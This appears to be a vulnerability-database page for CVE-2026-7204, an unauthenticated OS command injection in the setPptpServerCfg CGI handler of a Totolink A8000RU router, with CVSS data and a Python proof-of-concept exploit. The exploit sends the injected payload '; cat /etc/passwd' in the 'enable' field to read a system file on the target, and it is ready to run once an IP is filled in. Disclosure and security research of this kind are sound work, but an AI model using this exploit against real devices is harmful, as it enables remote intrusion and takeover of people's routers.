Security Vulnerability Report
中文
CVE-2026-7204 CVSS 9.8 CRITICAL

CVE-2026-7204

Published: 2026-04-28 01:16:02
Last Modified: 2026-04-28 20:24:59

Description

A vulnerability was determined in Totolink A8000RU 7.1cu.643_b20200521. This issue affects the function setPptpServerCfg of the file /cgi-bin/cstecgi.cgi of the component CGI Handler. This manipulation of the argument enable causes os command injection. The attack may be initiated remotely. The exploit has been publicly disclosed and may be utilized.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Totolink A8000RU 7.1cu.643_b20200521

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL (Replace with actual IP) target_url = "http://<TARGET_IP>/cgi-bin/cstecgi.cgi" # Vulnerable payload in the 'enable' argument # Using ';' to separate commands and inject a simple ping or shell command payload = "; cat /etc/passwd" # Construct the data payload based on the function setPptpServerCfg data = { "topicurl": "setPptpServerCfg", "enable": payload } headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded" } try: # Send POST request to exploit the vulnerability response = requests.post(target_url, data=data, headers=headers, timeout=5) if response.status_code == 200: print("[+] Request sent successfully!") print("[+] Response content:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

References

Raw JSON Data

JSON
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